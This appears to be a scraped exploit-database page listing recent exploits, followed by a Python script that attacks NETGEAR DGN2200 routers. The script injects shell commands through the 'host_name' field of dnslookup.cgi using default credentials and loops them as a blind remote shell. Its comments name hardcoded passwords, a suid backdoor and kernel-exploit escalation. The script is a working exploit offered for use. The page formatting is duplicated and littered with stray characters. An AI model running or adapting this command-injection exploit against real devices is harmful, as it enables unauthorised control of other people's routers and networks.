
12 new exploits MVPower DVR TV-7104HE 1.8.4 115215B9 - Shell Unauthenticated Command Execution (Metasploit) Windows x86 - Executable Directory Search Shellcode (130 bytes) Linux/x86_64 - Random Listener Shellcode (54 bytes) NETGEAR DGN2200v1/v2/v3/v4 - 'dnslookup.cgi' Remote Command Execution Joomla! Component Gnosis 1.1.2 - 'id' Parameter SQL Injection Trend Micro InterScan Messaging Security (Virtual Appliance) - Remote Code Execution (Metasploit) Joomla! Component Appointments for JomSocial 3.8.1 - SQL Injection Joomla! Component My MSG 3.2.1 - SQL Injection Joomla! Component Spinner 360 1.3.0 - SQL Injection Joomla! Component JomSocial - SQL Injection Grails PDF Plugin 0.6 - XML External Entity Injection Joomla! Component OneVote! 1.0 - SQL Injection
40 lines
1.3 KiB
Python
Executable file
40 lines
1.3 KiB
Python
Executable file
#!/usr/bin/python
|
|
|
|
#Provides access to default user account, privileges can be easily elevated by using either:
|
|
# - a kernel exploit (ex. memodipper was tested and it worked)
|
|
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
|
|
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon)
|
|
|
|
#Pozdrawiam: Kornela, Komara i Sknerusa
|
|
|
|
import sys
|
|
import requests
|
|
|
|
#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
|
|
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to
|
|
|
|
login = 'admin'
|
|
password = 'password'
|
|
|
|
def main():
|
|
if len(sys.argv) < 2:
|
|
print "./netgearpwn_2.py <router ip>"
|
|
return
|
|
spawnShell()
|
|
|
|
def execute(cmd): #Escaping basic sanitization
|
|
requests.post("http://" + sys.argv[1] + "/dnslookup.cgi", data={'host_name':"www.google.com; " + cmd, 'lookup': "Lookup"}, auth=(login, password))
|
|
return
|
|
|
|
def spawnShell():
|
|
print "Dropping a shell-like environment (blind OS injection)"
|
|
print "To test it type 'reboot'"
|
|
while True:
|
|
cmd = raw_input("[blind $] ")
|
|
execute(cmd)
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
|
|
#2017-02-25 by SivertPL
|
|
#Tak, to ja.
|